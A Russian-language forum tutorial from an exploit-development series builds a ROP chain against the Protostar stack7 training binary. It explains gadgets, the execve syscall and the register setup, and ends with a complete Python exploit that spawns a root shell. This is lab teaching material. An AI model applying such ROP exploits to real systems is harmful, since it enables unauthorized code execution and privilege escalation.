Ссылка на все части разработка эксплойтов
Привет кодбай. Пока мы далеко не убежали с уязвимостями форматных строк. Я решил вернутся к теме ROP, к упражнению
Ссылка скрыта от гостей
. Прошлая статья посвященная ROP была не совсем полной!... В этой статье мы познакомимся подробнее с гаджетами и ROP-цепочками.И так вспомним что мы делали в прошлый раз.
Мы использовали Ret2libc и прыжок на ret address, чтобы обойти ограничение в адресах.
Jump ROP. Прыжок на ret address. Прыгали с одного адреса на другой.
Эта статья продолжение темы ROP, так как не была затронута схема эксплуатации техники ROP с использованием гаджетов.
Исправим этот недочет.
И так приступим...
Этот уровень находится в
/opt/protostar/bin/stack7
Ссылка скрыта от гостей
, VMROP-гаджеты
Напомню что «Гаджет» обычно заканчивается инструкцией возврата (RET) и располагается в оперативной памяти в существующем коде (в коде программы или в коде разделяемой библиотеки). Атакующий добивается последовательного выполнения гаджетов с помощью инструкций возврата, составляет последовательность гаджетов так, чтобы выполнить желаемые операции. Последовательность гаджетов называется ROP-цепочкой или ROP-chain.
Так выглядят гаджеты
Код:
pop ebp; ret
mov esp, ebp; pop ebp; ret
add [ebx + 0x5d5b04c4], eax; ret
adc byte ptr [ebx + 0x5e5b08c4], al ; pop ebp ; ret
add al, 0x42 ; mov esp, ebp ; pop ebp ; and eax, 2 ; ret
add al, 0xb8 ; add dword ptr [eax], eax ; add byte ptr [eax], al ; pop esi ; pop edi ; pop ebp ; ret
and al, 0x8b ; jl 0xf5e05 ; add al, 0x89 ; in al, dx ; pop ebp ; ret
xor al, 0x24 ; mov edi, dword ptr [esp + 4] ; mov esp, ebp ; pop ebp ; ret
inc dword ptr [eax + eax*8 - 0x2f760b8b] ; pop esi ; pop ebp ; ret
Мы можем взять нужные нам гаджеты, объединив их в последовательную цепочку, помещая эту цепочку в стек, добиться выполнения любого кода, т.е. мы можем выполнить всё что угодно.
Всё что угодно нам не надо, нам нужен шелл. Как и было в случае с функцией system().
В языке Си существует много методов для вызова оболочки, т.е. шелла.
Самый популярный метод в linux при написании шеллкода это использование системного вызова execve(). Его мы и будем использовать, чтобы получить шелл.
Итак, наша цель - создать системный вызов execve().
Linux System Calls
Системные вызовы - это API для интерфейса между пространством пользователя и пространством ядра. По которому можно вызывать нужные нам системные функции. Эти системные функции и называются системными вызовами.
По сути execve() это такая же функция, как и system().
Все системные вызовы перечислены в
Код:
/usr/include/asm/unistd.h
Код:
#include <unistd.h>
Если мы заглянем с помощью текстового редактора nano в файл unistd.h, то мы увидим, что в нашей VM идет разделение на системные вызовы для x86 и x64.
Код:
nano /usr/include/asm/unistd.h
f2
Заглянем в хедер файл который инклудится, а именно в unistd_32.h
Код:
nano /usr/include/asm/unistd_32.h
f2
Файл содержит 336 системных вызовов
Номер системного вызова execve() - 11.
И так номер системного вызова у нас есть.
Давайте теперь посмотрим на прототип системного вызова функции execve().
Код:
man execve
q
C:
int execve(const char *filename, char *const argv[], char *const envp[]);
Первый аргумент аргумент должен быть указателем на строку, которая в нашем случае является путем к двоичному файлу, ptr для "/bin/sh"
ARGV[]
Второй - это список аргументов программы, и поскольку мы не запускаем "/bin/sh" с какими-либо аргументами, мы можем установить для этого значения нулевой байт.
envp[]
Третий аргумент - для параметров среды, мы снова установим в нулевой байт.
Наш системный вызов будет выглядеть так
C:
execve('/bin/sh',0,0)
Ассемблер
Для того чтобы двигаться дальше нам нужно углубится в ассемблерные команды и регистры.
На данном этапе мы знаем совсем не много.
Помните те три регистра?
EIP - указатель на адрес текущей инструкции
ESP - указатель на стек
EBP - фрейм указатель
Теперь нам нужны еще четыре регистра: EAX, EBX, ECX, EDX.
Каждый новый из этих регистров имеет свою особенность.
Вот их краткое описание.
EAX - используется в качестве универсального аккумулятора значений. Т.е. если нужно сохранить 32 бита в регистре процессора, то желательно использовать именно регистра EAX.
EBX - применяют для хранения адреса в памяти. Обычно используют этот регистр для хранения базового адреса в сочетании со статическим смещением. Хотя EBX - это обычный регистр общего назначения (РОН) и его можно использовать для хранения любым промежуточных данных.
ECX - применяют организации циклов. Перед началом цикла в него помещают количество итераций. Каждая команда loop уменьшает значение этого регистра. Когда значение регистра ECX становится равным 0, цикл завершается. Регистр ECX - это обычный регистр общего назначения (РОН) и его можно использовать для хранения любым промежуточных данных.
EDX - используется как и EAX в качестве универсального аккумулятора значений. EDX активно используется для операций умножения и деления (DIV, SUB).
В этих регистрах мы будем хранить определенное значение.
Так же следует сказать, что существует шесть регистров, в которых хранятся аргументы используемого системного вызова. Это EBX, ECX, EDX, ESI, EDI и EBP. Эти регистры принимают последовательные аргументы, начиная с регистра EBX. Если существует более шести аргументов, ячейка памяти первого аргумента сохраняется в регистре EBX.
Вернемся к обсуждению нашего системного вызова execve().
Для того чтобы вызвать execve() и перед тем, как его вызывать нам надо хранить где-то аргументы...
Из текста выше сказано что есть 6 регистров для хранения аргументов, начиная с EBX.
Следовательно наши аргументы будут хранится так.
Код:
execve('/bin/sh',0,0)
EBX -> '/bin/sh'
ECX -> 0
EDX -> 0
int - это прерывание
0x80 - номер прерывания
В Linux обработчик прерываний 0x80 является ядром и используется для выполнения системных вызовов ядра другими программами. Ядро уведомляется о том, какой системный вызов программа хочет сделать, изучив значение в регистре EAX.
В EAX - хранится номер системного вызова.
Для выполнения нашего системного вызова мы сделаем следующее...
Поместим номер системного вызова в регистр EAX. А именно для execve() - 11.
Сохраним аргументы системного вызова в регистрах: EBX, ECX, EDX.
И сделаем прерывание int 0x80 -> EAX (11) => run execve()
Вот что у нас будет.
EAX = 0xb (значение для системного вызова execve)
EBX = "/bin/sh" (указатель на адрес "/bin/sh" в памяти)
ECX = 0x0 - нульбайт
EDX = 0x0 - нульбайт
Теперь нам нужно найти подходящие нам гаджеты и собрать из них ROP-цепочку.
Конструируем ROP-chain
Для того, чтобы искать гаджеты нам понадобится инструмент. На самом деле инструментов очень много которые позволяются искать гаджеты и даже автоматически конструировать rop-цепочки.
Мы можем воспользоваться инструментом ROPgadget или же онлайн сервисом
Ссылка скрыта от гостей
.Воспользуемся сервисом. Искать гаджеты будем не в самой программе т.е. не в stack7, а в библиотеке libc. Почему? именно в библиотеке, а не в программе? Дело в том, что, чем больше весит программа, тем больше в ней будет найдено гаджетов. И наоборот. Это связано еще с тем, что в программе stack7 может не оказаться нужных нам гаджет, т.е. всех гаджетов для построения полной rop-цепочки, чтобы получить шелл. Поэтому предпочтительнее всегда искать гаджеты в библиотеках, которые тянет за собой программа.
Воспользуемся утилитой ldd для того, чтобы посмотреть какие библиотеки подключены к нашей программе.
Код:
ldd stack7
Как я выше и сказал будем искать гаджеты в libc.
Теперь проверим местоположение библиотеки
Код:
ls -l /lib/libc.so.6
Видно, что это не настоящая библиотека, а симлинк (ярлык) библиотеки. И сама библиотека находится в той же директории и называется она "libc-2.11.2.so". Нам нужно скачать её, а затем загрузить ее на сервис, чтобы выполнить поиск гаджетов.
Для того, чтобы выкачать библиотеку с VM воспользуемся программой
Ссылка скрыта от гостей
.WinSCP - это графический клиент SFTP (SSH File Transfer Protocol) для Windows с открытым исходным кодом.
Запускаем WinSCP
Принимаем RSA-ключ.
Идем в папку /lib и ищем "libc-2.11.2.so" затем скачиваем ее себе на машину.
И так скачали
Загружаем на сайт
Ссылка скрыта от гостей
Я загрузил библиотеку libc на сервис -
Ссылка скрыта от гостей
.Прежде чем двигаться дальше позаимствуем некоторые части и адреса из старого эксплойта.
Python:
from struct import pack
eipOffset = "A"*80
retAddress = pack("I", 0x08048544)
systemAddr = pack("I", 0xb7ecffb0)
exitAddr = pack("I", 0xb7ec60c0)
shellAddr = pack("I", 0xb7fb63bf)
print eipOffset + retAddress + systemAddr + exitAddr + shellAddr
Возьмем
Код:
from struct import pack
eipOffset = "A"*80
systemAddr = pack("I", 0xb7ecffb0)
shellAddr = pack("I", 0xb7fb63bf)
retAddress = pack("I", 0x08048544)
И так сервис проанализировал нашу библиотеку.
И мы видим такую картину
Для составления rop-цепочки будем искать такие инструкции
pop [register] - переносит любые данные из верхней части стека в [register] и освобождает эту область памяти.
xor eax, eax; - операция которая позволяет установить быстро регистр EAX в 0
inc eax; - операция инкремента, увеличиваем EAX на 1
Начинаем конструировать наш с вами будущий rop-эксплойт.
1. переполняем буфер на 80 байтов. offset eip
Python:
eipOffset = "A"*80
Python:
eip = pack("I", 0x08048544)
Пишем в ROPShell pop ecx и ищем для каждой инструкции гаджет. или точней говоря ищем нужный гаджет с нужными инструкциями.
pop ecx; ret
затем подставляем значение из 4 байт '\x00\x00\x00\x00' устанавливаем регистру ECX нулевое значение
а так же
pop edx; ret
'\x00\x00\x00\x00' устанавливаем регистру EDX нулево значение
Не попался нам гаджет который бы содержал инструкции "pop ecx; ret" & "pop edx; ret".
Тогда выбираем гаджет которые объединяет обе инструкции.
Python:
ropchain = pack("I", libc+0x0002a2fb) #pop ecx; pop edx;ret
ropchain += "\x00"*8 # feed 0 to ecx and edx
4.обнуляем EAX
Пишем xor, eax в ropshell
Python:
ropchain += pack("I", libc+0x0002b2a7) #xor eax,eax;pop ebp;ret
ropchain += "\x00"*4
Теперь пишем inc eax
EAX сейчас = 0, инкременируем EAX до 11.
Python:
ropchain += pack("I", libc+0x0002362e) #inc eax
ropchain += pack("I", libc+0x0002362e) #inc eax
ropchain += pack("I", libc+0x0002362e) #inc eax
ropchain += pack("I", libc+0x0002362e) #inc eax
ropchain += pack("I", libc+0x0002362e) #inc eax
ropchain += pack("I", libc+0x0002362e) #inc eax
ropchain += pack("I", libc+0x0002362e) #inc eax
ropchain += pack("I", libc+0x0002362e) #inc eax
ropchain += pack("I", libc+0x0002362e) #inc eax
ropchain += pack("I", libc+0x0002362e) #inc eax
ropchain += pack("I", libc+0x0002362e) #inc eax
Python:
ropchain += pack("I", libc+0x00074886) # pop ebx; ret should be /bin/sh address
Python:
ropchain += pack("I", 0xb7fb63bf) # *** '/bin/sh'
Python:
ropchain += pack("I", libc+0x00020241)
Python:
print eipOffset + eip + ropchain
Для того чтобы узнать адрес воспользуемся командой "info proc map", чтобы отобразилось адресное пространство и тем, самым посмотрим где libc загружен в память.
Код:
gdb -q ./stack7
break main
run
info proc map
quit
y,enter
Отлично адрес мы вычислили, libc загружен по адресу 0xb7e97000.
Полный код эксплойта ropchain.py
Python:
from struct import pack
eipOffset = "A"*80
libc = 0xb7e97000
eip = pack("I", 0x08048544) # *** ret adress
ropchain = pack("I", libc+0x0002a2fb) #pop ecx; pop edx;ret
ropchain += "\x00"*8 # feed 0 to ecx and edx
ropchain += pack("I", libc+0x0002b2a7) #xor eax,eax;pop ebp;ret
ropchain += "\x00"*4
ropchain += pack("I", libc+0x0002362e) #inc eax
ropchain += pack("I", libc+0x0002362e) #inc eax
ropchain += pack("I", libc+0x0002362e) #inc eax
ropchain += pack("I", libc+0x0002362e) #inc eax
ropchain += pack("I", libc+0x0002362e) #inc eax
ropchain += pack("I", libc+0x0002362e) #inc eax
ropchain += pack("I", libc+0x0002362e) #inc eax
ropchain += pack("I", libc+0x0002362e) #inc eax
ropchain += pack("I", libc+0x0002362e) #inc eax
ropchain += pack("I", libc+0x0002362e) #inc eax
ropchain += pack("I", libc+0x0002362e) #inc eax
ropchain += pack("I", libc+0x00074886) # pop ebx; ret
ropchain += pack("I", 0xb7fb63bf) # *** '/bin/sh'
ropchain += pack("I", libc+0x00020241) # int 0x80
print eipOffset + eip + ropchain
Код:
id
whoami
(python ~/ropchain.py;cat)|./stack7
id
whoami
Ctrl+D
Отлично root у нас права!!!
В прошлый раз мы использовали так сказать один гаджет + ret2libc, а в этот раз у нас весь эксплойт состоит из гаджетов, из цепочки гаджетов "ROP-chain".
Про классификацию ROP-гаджетов можно почитать
Ссылка скрыта от гостей
, а дополнительно про ROP
Ссылка скрыта от гостей
.На этом всё, до скорых встреч.